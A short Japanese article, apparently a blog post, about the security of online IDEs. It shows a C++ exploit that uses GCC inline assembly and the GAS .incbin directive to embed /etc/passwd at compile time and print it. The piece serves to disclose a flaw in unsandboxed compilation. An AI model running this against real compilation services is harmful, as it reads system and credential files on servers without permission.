オンラインIDEおよびローカルファイルの包含

最近、 多くのオンラインIDEが登場し、ネイティブアプリケーションもコンパイルおよび実行できるようになりました。 当然、そのようなサービスのセキュリティに関して疑問が生じます。 コンパイルされたプログラムはサンドボックスで実行されますが、コンパイル自体は安全でない環境で行われることがよくあります。



GCC + GAS


GCCでは、 asm



ディレクティブを使用してGASを呼び出すことができますincbin



素晴らしい incbin



ます。 その助けを借りて、コンパイル段階で、ファイルをデータとして含めることができます。 C ++のエクスプロイトは次のとおりです。



 #include <stdio.h> extern "C" asm( ".global _data\n" ".data\n" "_data:\n" ".incbin \"/etc/passwd\"\n" ".byte 0" ); extern const char _data; const char* data = &_data; int main() { printf("%s", data); }
      
      






All Articles